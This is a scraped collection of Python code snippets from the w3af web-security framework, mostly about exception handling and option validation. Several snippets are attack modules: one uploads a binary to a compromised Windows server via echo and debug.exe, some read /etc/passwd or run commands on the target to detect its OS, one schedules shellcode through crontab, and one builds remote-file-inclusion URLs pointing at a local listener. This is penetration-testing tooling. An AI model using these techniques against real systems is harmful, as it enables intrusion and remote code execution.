Esempio n. 1
0
    def validate(self, value):

        directory = os.path.abspath(os.path.dirname(value))
        if not os.path.isdir(directory):
            msg = 'Invalid input file option value "%s", the directory does not'\
                  ' exist.'
            raise w3afException(msg % value)

        if not os.access(directory, os.R_OK):
            msg = 'Invalid input file option value "%s", the user doesn\'t have' \
                  ' enough permissions to read from the specified directory.'
            raise w3afException(msg % value)

        if not os.path.exists(value):
            msg = 'Invalid input file option value "%s", the specified file' \
                  ' does not exist.'
            raise w3afException(msg % value)

        if not os.access(value, os.R_OK):
            msg = 'Invalid input file option value "%s", the user doesn\'t have' \
                  ' enough permissions to read the specified file.'
            raise w3afException(msg % value)

        if not os.path.isfile(value):
            msg = 'Invalid input file option value "%s", the path doesn\'t' \
                  ' point to a file.'
            raise w3afException(msg % value)

        return value
Esempio n. 2
0
    def save(self, file_name=''):
        '''
        Saves the profile to file_name.

        :return: None
        '''
        if not self._profile_file_name:
            if not file_name:
                raise w3afException('Error while saving profile, you didn\'t '
                                    'specified the file name.')
            else:  # The user's specified a file_name!
                if not file_name.endswith('.pw3af'):
                    file_name += '.pw3af'

            if os.path.sep not in file_name:
                file_name = os.path.join(
                    get_home_dir(), 'profiles', file_name)
            self._profile_file_name = file_name

        try:
            file_handler = open(self._profile_file_name, 'w')
        except:
            raise w3afException(
                'Failed to open profile file: ' + self._profile_file_name)
        else:
            self._config.write(file_handler)
Esempio n. 3
0
    def set_options(self, options_list):
        '''
        Handle user configuration parameters.
        :return: None
        '''
        # The not yet compiled all_in_one_regex
        tmp_not_compiled_all = []
        #
        #   Add the regexes from the file
        #
        self._regexlist_compiled = []
        regex_file_path = options_list['regex_file_path'].get_value()
        if regex_file_path and not regex_file_path == 'None':
            self._regex_file_path = regex_file_path

            try:
                f = file(self._regex_file_path)
            except Exception, e:
                msg = 'Unable to open file "%s", error: "%s".'
                raise w3afException(msg % (self._regex_file_path, e))
            else:
                for regex in f:
                    current_regex = regex.strip()
                    try:
                        re_inst = re.compile(current_regex, re.I | re.DOTALL)
                    except:
                        msg = 'Invalid regex in input file: "%s"'
                        raise w3afException(msg % current_regex)
                    else:
                        self._regexlist_compiled.append((re_inst, None))
                        tmp_not_compiled_all.append(current_regex)
Esempio n. 4
0
    def __init__(self, http_resp):

        # Create the proper parser instance, please note that
        # the order in which we ask for the type is not random,
        # first we discard the images which account for a great
        # % of the URLs in a site, then we ask for WML which is
        # a very specific thing to match, then we try text or HTML
        # which is very generic (if we would have exchanged these two
        # we would have never got to WML), etc.
        if http_resp.is_image():
            msg = 'There is no parser for images.'
            raise w3afException(msg)
        elif self._is_wml(http_resp):
            parser = WMLParser(http_resp)
        elif http_resp.is_text_or_html():
            parser = HTMLParser(http_resp)
        elif self._is_pdf(http_resp):
            parser = PDFParser(http_resp)
        elif self._is_swf(http_resp):
            parser = SWFParser(http_resp)
        else:
            msg = 'There is no parser for "%s".' % http_resp.get_url()
            raise w3afException(msg)

        self._parser = parser
Esempio n. 5
0
    def _cut(self, body):
        '''
        After defining a cut, I can cut parts of an HTML and return the important
        sections.

        :param body: The HTML response that I need to cut to obtain the useful
                     information.
        '''
        if self._header_length is None or self._footer_length is None:
            msg = ('You need to call _define_exact_cut() or _guess_cut() before'
                   'calling _cut().')
            raise w3afException(msg)

        if self._header_length + self._footer_length > len(body):
            # FIXME: I should handle this in some way.
            msg = ('Cut algorithm error: len(header+footer)>len(body).')
            raise w3afException(msg)

        if body == '':
            om.out.debug('Called _cut() with an empty body to cut, returning an empty result.')
            return body

        #   Special case where there are no header or footers,
        if self._header_length == self._footer_length == 0:
            return body

        if self._footer_length == 0:
            return body[self._header_length:]
        else:
            return body[self._header_length:-self._footer_length]
Esempio n. 6
0
    def _exploit(self, plugin_name, params, show_list=True):
        '''
        Exploits a vuln. using a single plugin.
        '''

        # Did the user indicated what vulnerability to exploit ?
        if len(params) == 1:
            try:
                vuln_to_exploit = params[0]
                if vuln_to_exploit != '*':
                    vuln_to_exploit = int(params[0])
            except:
                raise w3afException(
                    'You specified an invalid vulnerability id.')
        else:
            vuln_to_exploit = None

        if plugin_name not in self._configs:
            raise w3afException('Unknown plugin. Use the list command to view available plugins.')
        else:
            self._plugin = plugin = self._w3af.plugins.get_plugin_inst(
                'attack', plugin_name)

            try:
                response = plugin.can_exploit(vuln_to_exploit)
            except w3afException, e:
                raise e
            else:
Esempio n. 7
0
    def __init__(self, profname='', workdir=None):
        '''
        Creating a profile instance like p = profile() is done in order to be
        able to create a new profile from scratch and then call
        save(profname).

        When reading a profile, you should use p = profile(profname).
        '''
        # The default optionxform transforms the option to lower case;
        # w3af needs the value as it is
        optionxform = lambda opt: opt

        self._config = ConfigParser.ConfigParser()
        # Set the new optionxform function
        self._config.optionxform = optionxform

        if profname:
            # Get profile name's complete path
            profname = self._get_real_profile_path(profname, workdir)
            with codecs.open(profname, "rb", UTF8) as fp:
                try:
                    self._config.readfp(fp)
                except ConfigParser.Error, cpe:
                    msg = 'ConfigParser error in profile: "%s". Exception: "%s"'
                    raise w3afException(msg % (profname, str(cpe)))
                except Exception, e:
                    msg = 'Unknown error in profile: "%s". Exception: "%s"'
                    raise w3afException(msg % (profname, str(e)))
Esempio n. 8
0
    def transfer(self, data_str, destination):
        '''
        This method is used to transfer the data_str from w3af to the compromised server.
        '''
        om.out.debug('Starting upload.')

        self._filename = self._get_filename(destination)

        # Check if echo exists and works as expected
        if not self._exec_methodutedCanTransfer:
            if not self.can_transfer():
                msg = 'Failed to transfer file to the compromised server, '
                msg += 'EchoWindows.can_transfer returned False.'
                raise w3afException(msg)

        # if exists, delete _filename
        res = self._exec_method('del ' + self._filename)

        # Prepare the scr file.
        self._exec_method(
            'echo n ' + self._filename + '._ >> ' + self._filename)
        self._exec_method('echo r cx' + ' >> ' + self._filename)
        self._exec_method(
            'echo ' + hex(len(data_str))[2:] + ' >> ' + self._filename)
        self._exec_method('echo f 0000 ffff 00' + ' >> ' + self._filename)

        # http://www.totse.com/en/technology/computer_technology/windowsdebugco172680.html
        i = 0
        j = 256
        while i < len(data_str):
            # Prepare the command
            cmd = "echo e " + hex(j)[2:]
            for c in data_str[i:i + self._step]:
                cmd += ' ' + hex(ord(c))[2:].zfill(2)

            cmd += " >> " + self._filename
            i += self._step
            j += self._step
            # Send the command to the remote server
            self._exec_method(cmd)

        # "close" the scr file
        self._exec_method('echo w >> ' + self._filename)
        self._exec_method('echo q >> ' + self._filename)

        # Now, I transform the text file into a exe
        # this trick was taken from sqlninja!
        om.out.debug('Transforming the text file into a binary file. Thanks'
                     ' to icesurfer and sqlninja for this technique!')
        res = self._exec_method('debug < ' + self._filename)
        if 'file creation error' in res.lower():
            raise w3afException('Error in remote debug.exe command.')
        extension = self._get_extension(destination)
        om.out.debug('Changing the extension of the binary file to match the original one ()')
        res = self._exec_method('move ' + self._filename + '._ ' +
                                self._filename + '.' + extension)

        om.out.debug('Finished file upload.')
Esempio n. 9
0
    def _configExploit(self, params):
        if len(params) == 0:
            raise w3afException('Plugin name was expected.')
        if len(params) > 1:
            raise w3afException(
                'Unexpected parameters: ' + ','.join(params[1:]))

        plugin_name = params[0]
        if plugin_name not in self._configs:
            raise w3afException("Unknown plugin " + plugin_name)

        return self._configs[plugin_name]
Esempio n. 10
0
    def _cmd_desc(self, params):

        if len(params) == 0:
            raise w3afException("Plugin name is required")

        plugin_name = params[0]
        if plugin_name not in self._plugins:
            raise w3afException("Unknown plugin: '%s'" % plugin_name)

        plugin = self._w3af.plugins.get_plugin_inst(self._name, plugin_name)
        long_desc = plugin.get_long_desc()
        long_desc = textwrap.dedent(long_desc)
        om.out.console(long_desc)
Esempio n. 11
0
    def get_plugin_options(self, plugin_type, plugin_name):
        '''
        :return: A dict with the options for a plugin. For example: { 'LICENSE_KEY':'AAAA' }
        '''
        # Get the plugin defaults with their types
        plugin_instance = factory(
            'plugins.' + plugin_type + '.' + plugin_name)
        options_list = plugin_instance.get_options()

        for section in self._config.sections():
            # Section is something like audit.xss or crawl.web_spider
            try:
                type, name = section.split('.')
            except:
                pass
            else:
                if type == plugin_type and name == plugin_name:
                    for option in self._config.options(section):
                        try:
                            value = self._config.get(section, option)
                        except KeyError:
                            # We should never get here...
                            msg = 'The option "%s" is unknown for the "%s" plugin.'
                            raise w3afException(msg % (option, plugin_name))
                        else:
                            options_list[option].set_value(value)

        return options_list
Esempio n. 12
0
def _get_file_list(type_of_list, extension, force_extension=False):
    '''
    :param type_of_list: Indicates what type of list to return, options:
        - code
        - webshell

    :return: A list with tuples of filename and extension for the webshells available in the
    webshells directory.
    '''
    known_framework = []
    uncertain_framework = []
    path = os.path.join('plugins', 'attack' , 'payloads', type_of_list)
    path += os.path.sep
    
    if force_extension:
        filename = path + type_of_list + '.' + extension
        real_extension = extension
        known_framework.append((filename, real_extension))
    else:
        powered_by_header_list = kb.kb.raw_read('server_header', 'powered_by_string')
        filename = ''

        file_list = [x for x in os.listdir(path) if x.startswith(type_of_list)]

        for shell_filename in file_list:

            filename = path + shell_filename
            real_extension = shell_filename.split('.')[1]
            
            # Just in case... this saves me from gedit and joe which save the
            # old files like code.php~
            if real_extension.endswith('~'):
                continue
            
            # Using the powered By headers
            # More than one header can have been sent by the server
            for h in powered_by_header_list:
                if h.lower().count(real_extension):
                    known_framework.append((filename, real_extension))

            # extension here is the parameter passed by the user, that can be ''
            # (this happens in dav)
            uncertain_framework.append((filename, real_extension))

    # We keep the order, first the ones we think could work, then the ones that may
    # work but... are just a long shot.
    known_framework.extend(uncertain_framework)
    
    res = []
    for filename, real_extension in known_framework:
        try:
            cmd_file = open(filename)
        except:
            raise w3afException('Failed to open filename: ' + filename)
        else:
            file_content = cmd_file.read()
            cmd_file.close()
            res.append((file_content, real_extension))

    return res
Esempio n. 13
0
    def get_name(self):
        '''
        This method is called when the proxy is used, in order to create a prompt for the user.

        :return: The name of the proxy (rfi_proxy, dav_proxy, etc.)
        '''
        raise w3afException('You should implement the get_name method of classes that inherit from "proxy"')
Esempio n. 14
0
 def validate(self, value):
     
     if not is_ip_address(value):
         msg = 'Invalid IP address specified ("%s")' % value
         raise w3afException(msg)
     
     return value
Esempio n. 15
0
    def _do_google_search(self):

        start = self._start
        res_pages = []
        max_start = start + self._count
        param_dict = {'q': self._query, 'start': 0}
        there_is_more = True

        while start < max_start and there_is_more:
            param_dict['start'] = start
            params = urllib.urlencode(param_dict)

            gm_url = self.GOOGLE_SEARCH_URL + params
            gm_url_instance = URL(gm_url)
            response = self._do_GET(gm_url_instance, with_rand_ua=False)

            if GOOGLE_SORRY_PAGE in response:
                msg = 'Google is telling us to stop doing automated tests.'
                raise w3afException(msg)

            if not self._has_more_items(response.get_body()):
                there_is_more = False

            res_pages.append(response)
            start += 10

        return res_pages
Esempio n. 16
0
def os_detection_exec(exec_method):
    '''
    Uses the exec_method to run remote commands and determine what's the
    remote OS is and returns a string with 'windows' or 'linux' or raises
    a w3afException if unknown.
    '''
    try:
        linux1 = exec_method('echo -n w3af')
        linux2 = exec_method('head -n 1 /etc/passwd')
    except w3afException:
        pass
    else:
        if 'w3af' in linux1 and linux2.count(':') > 3:
            om.out.debug('Identified remote OS as Linux, returning "linux".')
            return 'linux'

    try:
        # Try if it's a windows system
        win1 = exec_method('type %SYSTEMROOT%\\win.ini')
        win2 = exec_method('echo /?')
    except w3afException:
        pass
    else:
        if '[fonts]' in win1 and 'ECHO' in win2:
            om.out.debug(
                'Identified remote OS as Windows, returning "windows".')
            return 'windows'

    raise w3afException('Failed to get/identify the remote OS.')
Esempio n. 17
0
    def _exec_payload(self, remote_filename):
        '''
        This method should be implemented according to the remote operating
        system. The idea here is to execute the payload that was sent using
        _send_exe_to_server and generated by _generate_exe . In lnxVd I
        should run "chmod +x file; ./file"

        :return: None
        '''
        cH = crontabHandler(self._exec_method)
        if not cH.can_delay():
            msg = '[lnxVd] Failed to create cron entry.'
            om.out.debug(msg)
            raise w3afException(msg)
        else:
            wait_time = cH.add_to_schedule(remote_filename)

            om.out.console('Crontab entry successfully added. Waiting for shellcode execution.')
            time.sleep(wait_time + 3)

            om.out.debug(
                'Shellcode successfully executed, restoring old crontab.')
            cH.restore_old_schedule()

            om.out.debug('All done, check metasploit for results.')
Esempio n. 18
0
def testServer(ssl, server, port, matchCount, generateFP):
    global VERBOSE
    global PORT
    global useSSL
    VERBOSE = 0
    PORT = port
    useSSL = ssl

    MATCH_COUNT = matchCount
    fingerprintDir = 'plugins' + os.path.sep + 'infrastructure' + \
        os.path.sep + 'oHmap' + os.path.sep + 'known.servers' + os.path.sep

    # Get the fingerprint
    target_url = server
    fp = get_fingerprint(target_url)

    # Read the fingerprint db
    known_servers = []
    for f in glob.glob(fingerprintDir + '*'):
        ksf = file(f)
        try:
            ### FIXME: This eval is awful, I should change it to pickle.
            ks = eval(ksf.read())
        except Exception, e:
            raise w3afException(
                'The signature file "' + f + '" has an invalid syntax.')
        else:
            known_servers.append(ks)
            ksf.close()
Esempio n. 19
0
 def _init(self):
     try:
         self._file = open(self._file_name, "w")
     except IOError, io:
         msg = 'Can\'t open report file "%s" for writing, error: %s.'
         raise w3afException(msg % (os.path.abspath(self._file_name),
                                    io.strerror))
Esempio n. 20
0
def _get_file_list(type_of_list, extension, force_extension=False):
    '''
    :param type_of_list: Indicates what type of list to return, options:
        - code
        - webshell

    :return: A list with tuples of filename and extension for the webshells available in the
    webshells directory.
    '''
    known_framework = []
    uncertain_framework = []
    path = os.path.join('plugins', 'attack' , 'payloads', type_of_list)
    path += os.path.sep
    
    if force_extension:
        filename = path + type_of_list + '.' + extension
        real_extension = extension
        known_framework.append((filename, real_extension))
    else:
        powered_by_header_list = kb.kb.get('server_header', 'powered_by_string')
        filename = ''

        file_list = [x for x in os.listdir(path) if x.startswith(type_of_list)]

        for shell_filename in file_list:

            filename = path + shell_filename
            real_extension = shell_filename.split('.')[1]
            
            # Just in case... this saves me from gedit and joe which save the
            # old files like code.php~
            if real_extension.endswith('~'):
                continue
            
            # Using the powered By headers
            # More than one header can have been sent by the server
            for h in powered_by_header_list:
                if h.lower().count(real_extension):
                    known_framework.append((filename, real_extension))

            # extension here is the parameter passed by the user, that can be ''
            # (this happens in dav)
            uncertain_framework.append((filename, real_extension))

    # We keep the order, first the ones we think could work, then the ones that may
    # work but... are just a long shot.
    known_framework.extend(uncertain_framework)

    res = []
    for filename, real_extension in known_framework:
        try:
            cmd_file = open(filename)
        except:
            raise w3afException('Failed to open filename: ' + filename)
        else:
            file_content = cmd_file.read()
            cmd_file.close()
            res.append((file_content, real_extension))

    return res
Esempio n. 21
0
def read_os_detection(remote_read):
    '''
    Uses the remote_read method to read remote files and determine what the
    remote OS is.

    :return: String with 'windows' or 'linux' or raises a w3afException
             if unknown.
    '''
    try:
        linux1 = remote_read('/etc/passwd')
        linux2 = remote_read('/etc/mtab')
        linux3 = remote_read('/proc/sys/kernel/ostype')
    except:
        pass
    else:
        if '/bin/' in linux1 or 'rw' in linux2 or 'linux' in linux3.lower():
            om.out.debug('Identified remote OS as Linux, returning "linux".')
            return 'linux'

    try:
        # Try if it's a windows system
        # TODO: Are we sure that this works? When is the %SYSTEMROOT% resolved?
        win1 = remote_read('%SYSTEMROOT%\\win.ini')
        win2 = remote_read('C:\\windows\\win.ini')
        win3 = remote_read('C:\\win32\\win.ini')
        win4 = remote_read('C:\\win\\win.ini')
    except:
        pass
    else:
        if '[fonts]' in win1 + win2 + win3 + win4:
            om.out.debug(
                'Identified remote OS as Windows, returning "windows".')
            return 'windows'

    raise w3afException('Failed to get/identify the remote OS.')
Esempio n. 22
0
 def validate(self, value):
     try:
         re.compile(value)
     except Exception, e:
         msg = 'The regular expression "%s" is invalid, the compilation'\
               ' error was: "%s".'
         raise w3afException(msg % (value, e))
Esempio n. 23
0
    def __getitem__(self, item_name):
        """
        This method is used when on any configurable object the developer does something like:

        def set_options( self, optionsList ):
            self._check_persistent = optionsList['check_persistent']

        :return: The value of the item that was selected

        >>> from core.data.options.opt_factory import opt_factory
        >>> opt_list = OptionList()
        >>> opt_list.add( opt_factory('name', True, 'desc', 'boolean') )
        >>> opt_list['name']
        <option name:name|type:boolean|value:True>

        """
        try:
            item_name = int(item_name)
        except:
            # A string
            for o in self._internal_opt_list:
                if o.get_name() == item_name:
                    return o
            else:
                msg = 'The OptionList doesn\'t contain an option with the name: "%s"'
                raise w3afException(msg % item_name)
        else:
            # An integer
            return self._internal_opt_list[item_name]
Esempio n. 24
0
File: rfi.py Progetto: HamzaKo/w3af
 def _gen_url_to_include(self, file_content, extension):
     '''
     Generate the URL to include, based on the configuration it will return a
     URL pointing to a XSS bug, or our local webserver.
     '''
     if self._use_XSS_vuln and self._xss_vuln:
         url = self._xss_vuln.get_url().uri2url()
         data_container = self._xss_vuln.get_dc()
         data_container = data_container.copy()
         data_container[self._xss_vuln.get_var()] = file_content
         url_to_include = url + '?' + str(data_container)
         return url_to_include
     else:
         # Write the php to the webroot
         filename = rand_alnum()
         filepath = os.path.join(get_home_dir(), 'webroot', filename)
         try:
             file_handler = open(filepath, 'w')
             file_handler.write(file_content)
             file_handler.close()
         except:
             raise w3afException('Could not create file in webroot.')
         else:
             url_to_include = 'http://%s:%s/%s' % (self._listen_address,
                                                   self._listen_port,
                                                   filename)
             return url_to_include
Esempio n. 25
0
def testServer(ssl, server, port, matchCount, generateFP):
    global VERBOSE
    global PORT
    global useSSL
    VERBOSE = 0
    PORT = port
    useSSL = ssl

    MATCH_COUNT = matchCount
    fingerprintDir = 'plugins' + os.path.sep + 'infrastructure' + \
        os.path.sep + 'oHmap' + os.path.sep + 'known.servers' + os.path.sep

    # Get the fingerprint
    target_url = server
    fp = get_fingerprint(target_url)

    # Read the fingerprint db
    known_servers = []
    for f in glob.glob(fingerprintDir + '*'):
        ksf = file(f)
        try:
            ### FIXME: This eval is awful, I should change it to pickle.
            ks = eval(ksf.read())
        except Exception, e:
            raise w3afException('The signature file "' + f +
                                '" has an invalid syntax.')
        else:
            known_servers.append(ks)
            ksf.close()
Esempio n. 26
0
 def set_what_not_to_trap(self, regex):
     '''Set regular expression that indicates what URLs TO trap.'''
     try:
         self._what_not_to_trap = re.compile(regex)
     except re.error:
         error = 'The regular expression you configured is invalid.'
         raise w3afException(error)
Esempio n. 27
0
    def _do_google_search(self):

        start = self._start
        res_pages = []
        max_start = start + self._count
        param_dict = {'q': self._query, 'start': 0}
        there_is_more = True

        while start < max_start and there_is_more:
            param_dict['start'] = start
            params = urllib.urlencode(param_dict)

            gm_url = self.GOOGLE_SEARCH_URL + params
            gm_url_instance = URL(gm_url)
            response = self._do_GET(gm_url_instance, with_rand_ua=False)

            if GOOGLE_SORRY_PAGE in response:
                msg = 'Google is telling us to stop doing automated tests.'
                raise w3afException(msg)

            if not self._has_more_items(response.get_body()):
                there_is_more = False

            res_pages.append(response)
            start += 10

        return res_pages
Esempio n. 28
0
    def _do_google_search(self):
        res_pages = []

        start = self._start
        max_start = start + self._count
        there_is_more = True

        while start < max_start and there_is_more:
            params = urllib.urlencode({'hl': 'en', 'q': self._query,
                                       'start': start, 'sa': 'N'})

            google_url_instance = URL(self.GOOGLE_SEARCH_URL + params)
            response = self._do_GET(google_url_instance, with_rand_ua=False)

            # Remember that HTTPResponse objects have a faster "__in__" than
            # the one in strings; so string in response.get_body() is slower than
            # string in response
            if GOOGLE_SORRY_PAGE in response:
                msg = 'Google is telling us to stop doing automated tests.'
                raise w3afException(msg)

            if not self._has_more_items(response.get_body()):
                there_is_more = False

            # Save the result page
            res_pages.append(response)

            start += 10

        return res_pages
Esempio n. 29
0
    def _cmd_use(self, params):
        '''
        :param params: A two-elems list containing the name of the profile to
                       load and the original working directory.
        '''
        if not params:
            om.out.console('Parameter missing, please see the help:')
            self._cmd_help(['use'])
        else:
            profile = params[0]
            if profile not in self._profiles:
                raise w3afException('Unknown profile name: "%s"' % profile)

            try:
                workdir = params[1]
            except IndexError:
                workdir = None

            try:
                self._w3af.profiles.use_profile(profile, workdir=workdir)
            except w3afException, w3:
                om.out.console(str(w3))

            om.out.console('The plugins configured by the scan profile have '
                           'been enabled, and their options configured.')
            om.out.console('Please set the target URL(s) and start the scan.')
Esempio n. 30
0
    def validate(self, value):
        temp_value = value + ','
        mo = self.LST_VALIDATION_RE.match(temp_value)
        try:
            matched_str = mo.group(0)
            assert matched_str == temp_value
        except Exception:
            msg = 'Invalid list format in user configuration: "%s".' % value
            raise w3afException(msg)
        else:
            res = []
            list_items = self.LST_PARSE_RE.findall(temp_value)

            for item in list_items:

                item = item.strip()
                if item == '':
                    continue

                # Now I check for single and double quotes
                if (item.startswith('"') and item.endswith('"')) or \
                   (item.startswith("'") and item.endswith("'")):
                    res.append(item[1:-1])
                else:
                    res.append(item)

            return res
Esempio n. 31
0
    def validate(self, value):

        if not is_ip_address(value):
            msg = 'Invalid IP address specified ("%s")' % value
            raise w3afException(msg)

        return value
Esempio n. 32
0
    def next(self):
        '''
        The user interface calls this method until it returns None.

        :return: The next question that has to be asked to the user.
        '''
        # Special case for first iteration
        if self._firstQuestion == True:
            self._firstQuestion = False
            self._currentQuestion = self._question_lst[0]
            return self._question_lst[0]

        # Save the user completed values, so we can handle previous button
        self._currentQuestion.set_previously_answered_values(self._user_options)
        self._already_asked.append(self._currentQuestion)

        # Special case to end iteration
        if self._nextQuestionId is None:
            return None

        # Find the next one
        possibleQuestions = [q for q in self._question_lst if q.get_question_id(
        ) == self._nextQuestionId]
        if len(possibleQuestions) != 1:
            raise w3afException('We have more than one next question. Please verify your wizard definition.\
                          Possible questions are: ' + str(possibleQuestions))
        else:
            # return the next question
            self._currentQuestion = possibleQuestions[0]
            return possibleQuestions[0]
Esempio n. 33
0
File: lnxVd.py Progetto: weisst/w3af
    def _exec_payload(self, remote_filename):
        '''
        This method should be implemented according to the remote operating
        system. The idea here is to execute the payload that was sent using
        _send_exe_to_server and generated by _generate_exe . In lnxVd I
        should run "chmod +x file; ./file"

        :return: None
        '''
        cH = crontabHandler(self._exec_method)
        if not cH.can_delay():
            msg = '[lnxVd] Failed to create cron entry.'
            om.out.debug(msg)
            raise w3afException(msg)
        else:
            wait_time = cH.add_to_schedule(remote_filename)

            om.out.console(
                'Crontab entry successfully added. Waiting for shellcode execution.'
            )
            time.sleep(wait_time + 3)

            om.out.debug(
                'Shellcode successfully executed, restoring old crontab.')
            cH.restore_old_schedule()

            om.out.debug('All done, check metasploit for results.')
Esempio n. 34
0
 def set_what_not_to_trap(self, regex):
     '''Set regular expression that indicates what URLs TO trap.'''
     try:
         self._what_not_to_trap = re.compile(regex)
     except re.error:
         error = 'The regular expression you configured is invalid.'
         raise w3afException(error)
Esempio n. 35
0
    def next(self):
        '''
        The user interface calls this method until it returns None.

        :return: The next question that has to be asked to the user.
        '''
        # Special case for first iteration
        if self._firstQuestion == True:
            self._firstQuestion = False
            self._currentQuestion = self._question_lst[0]
            return self._question_lst[0]

        # Save the user completed values, so we can handle previous button
        self._currentQuestion.set_previously_answered_values(
            self._user_options)
        self._already_asked.append(self._currentQuestion)

        # Special case to end iteration
        if self._nextQuestionId is None:
            return None

        # Find the next one
        possibleQuestions = [
            q for q in self._question_lst
            if q.get_question_id() == self._nextQuestionId
        ]
        if len(possibleQuestions) != 1:
            raise w3afException(
                'We have more than one next question. Please verify your wizard definition.\
                          Possible questions are: ' + str(possibleQuestions))
        else:
            # return the next question
            self._currentQuestion = possibleQuestions[0]
            return possibleQuestions[0]
Esempio n. 36
0
    def _createCronLine(self, remoteDate, command_to_exec):
        '''
        Creates a crontab line that executes the command one minute after the
        "date" parameter.

        :return: A tuple with the new line to add to the crontab, and the time
                 that it will take to run the command.
        '''
        res_line = ''
        try:
            # date +"%d-%m-%H:%M:%S-%u"
            day_number, month, hour, week_day = remoteDate.split('-')
        except:
            raise w3afException('The date command of the remote server returned an unknown format.')
        else:
            hour, minute, sec = hour.split(':')
            wait_time = None
            if int(sec) > 57:
                # Just to be 100% sure...
                delta = 2
                wait_time = 4 + 60
            else:
                delta = 1
                wait_time = 60 - int(sec)

            minute = int(minute) + delta
            hour, minute, am_pm = self._fix_time(hour, minute)

            res_line = '%s %s %s %s %s %s' % (minute, hour, day_number, month,
                                             week_day, command_to_exec)
            
        return res_line, wait_time
Esempio n. 37
0
File: rfi.py Progetto: daemon13/w3af
 def _gen_url_to_include(self, file_content, extension):
     '''
     Generate the URL to include, based on the configuration it will return a
     URL pointing to a XSS bug, or our local webserver.
     '''
     if self._use_XSS_vuln and self._xss_vuln:
         url = self._xss_vuln.get_url().uri2url()
         data_container = self._xss_vuln.get_dc()
         data_container = data_container.copy()
         data_container[self._xss_vuln.get_var()] = file_content
         url_to_include = url + '?' + str(data_container)
         return url_to_include
     else:
         # Write the php to the webroot
         filename = rand_alnum()
         filepath = os.path.join(get_home_dir(), 'webroot', filename)
         try:
             file_handler = open(filepath, 'w')
             file_handler.write(file_content)
             file_handler.close()
         except:
             raise w3afException('Could not create file in webroot.')
         else:
             url_to_include = 'http://%s:%s/%s' % (
                 self._listen_address, self._listen_port, filename)
             return url_to_include
Esempio n. 38
0
    def _do_google_search(self):
        res_pages = []

        start = self._start
        max_start = start + self._count
        there_is_more = True

        while start < max_start and there_is_more:
            params = urllib.urlencode({
                'hl': 'en',
                'q': self._query,
                'start': start,
                'sa': 'N'
            })

            google_url_instance = URL(self.GOOGLE_SEARCH_URL + params)
            response = self._do_GET(google_url_instance, with_rand_ua=False)

            # Remember that HTTPResponse objects have a faster "__in__" than
            # the one in strings; so string in response.get_body() is slower than
            # string in response
            if GOOGLE_SORRY_PAGE in response:
                msg = 'Google is telling us to stop doing automated tests.'
                raise w3afException(msg)

            if not self._has_more_items(response.get_body()):
                there_is_more = False

            # Save the result page
            res_pages.append(response)

            start += 10

        return res_pages
Esempio n. 39
0
    def _id_failed_login_page(self, freq, user_field, passwd_field):
        '''
        Generate TWO different response bodies that are the result of failed
        logins.

        The first result is for logins with filled user and password fields;
        the second one is for a filled user and a blank passwd.
        '''
        # The result is going to be stored here
        login_failed_result_list = []

        data_container = freq.get_dc()
        data_container = self._true_extra_fields(data_container, user_field,
                                                 passwd_field)

        # The first tuple is an invalid username and a password
        # The second tuple is an invalid username with a blank password
        tests = [(rand_alnum(8), rand_alnum(8)), (rand_alnum(8), '')]

        for user, passwd in tests:
            # Setup the data_container
            # Remember that we can have password only forms!
            if user_field is not None:
                data_container[user_field][0] = user
            data_container[passwd_field][0] = passwd
            freq.set_dc(data_container)

            response = self._uri_opener.send_mutant(freq, grep=False)

            body = response.get_body()
            body = body.replace(user, '')
            body = body.replace(passwd, '')

            # Save it
            login_failed_result_list.append(body)

        # Now I perform a self test, before starting with the actual bruteforcing
        # The first tuple is an invalid username and a password
        # The second tuple is an invalid username with a blank password
        tests = [(rand_alnum(8), rand_alnum(8)), (rand_alnum(8), '')]

        for user, passwd in tests:
            # Now I do a self test of the result I just created.
            #   Remember that we can have password only forms!
            if user_field is not None:
                data_container[user_field][0] = user
            data_container[passwd_field][0] = passwd
            freq.set_dc(data_container)
            response = self._uri_opener.send_mutant(freq, grep=False)

            body = response.get_body()
            body = body.replace(user, '')
            body = body.replace(passwd, '')

            if not self._matches_failed_login(body, login_failed_result_list):
                raise w3afException('Failed to generate a response that '
                                    'matches the failed login page.')

        return login_failed_result_list
Esempio n. 40
0
    def end(self):
        '''
        This method is called when the proxy is not going to be used anymore. It should be used to remove the
        auxiliary files (local and remote) generated by the proxy.

        :return: None
        '''
        raise w3afException('You should implement the end method of classes that inherit from "proxy"')
Esempio n. 41
0
 def _init(self):
     self._file_name = os.path.expanduser(self._file_name)
     try:
         self._file = open(self._file_name, "w")
     except IOError, io:
         msg = 'Can\'t open report file "%s" for writing, error: %s.'
         raise w3afException(
             msg % (os.path.abspath(self._file_name), io.strerror))
Esempio n. 42
0
 def _init(self):
     self._initialized = True
     try:
         self._file = open(self._output_file_name, "w")
     except IOError, io:
         msg = 'Can\'t open report file "%s" for writing, error: %s.'
         raise w3afException(
             msg % (os.path.abspath(self._output_file_name), io.strerror))
Esempio n. 43
0
 def set_wsdl(self, xmlData):
     '''
     :param xmlData: The WSDL to parse. At this point, we really don't know
                     if it really is a WSDL document.
     '''
     if not self.is_WSDL(xmlData):
         raise w3afException('The body content is not a WSDL.')
     else:
         try:
             self._proxy = SOAPpy.WSDL.Proxy(xmlData)
         except expat.ExpatError:
             raise w3afException('The body content is not a WSDL.')
         except Exception, e:
             msg = 'The body content is not a WSDL.'
             msg += ' Unhandled exception in SOAPpy: "' + str(e) + '".'
             om.out.debug(msg)
             raise w3afException(msg)
Esempio n. 44
0
    def get_name(self):
        '''
        This method is called when the proxy is used, in order to create a prompt for the user.

        :return: The name of the proxy (rfi_proxy, dav_proxy, etc.)
        '''
        raise w3afException(
            'You should implement the get_name method of classes that inherit from "proxy"'
        )
Esempio n. 45
0
    def set_options(self, options_list):
        self.origin_header_value = options_list[
            'origin_header_value'].get_value()

        # Check options setted
        if self.origin_header_value is None or\
                len(self.origin_header_value.strip()) == 0:
            msg = 'Please enter a valid value for the "Origin" HTTP header.'
            raise w3afException(msg)
Esempio n. 46
0
 def get_delayed_execution_handler(self):
     os = os_detection_exec(self._exec_method)
     if os == 'windows':
         return atHandler(self._exec_method)
     elif os == 'linux':
         return crontabHandler(self._exec_method)
     else:
         raise w3afException(
             'Failed to create a delayed execution handler.')
Esempio n. 47
0
    def _exec_payload(self, remote_file_location):
        '''
        This method should be implemented according to the remote operating system. The idea here is to
        execute the payload that was sent using _send_exe_to_server and generated by _generate_exe . In lnxVd
        I should run "chmod +x file; ./file"

        This method should be implemented in winVd and lnxVd.
        '''
        raise w3afException('Please implement the _exec_payload method.')
Esempio n. 48
0
 def get_ns(self, method):
     '''
     @method: The method name
     :return: The namespace of the WSDL
     '''
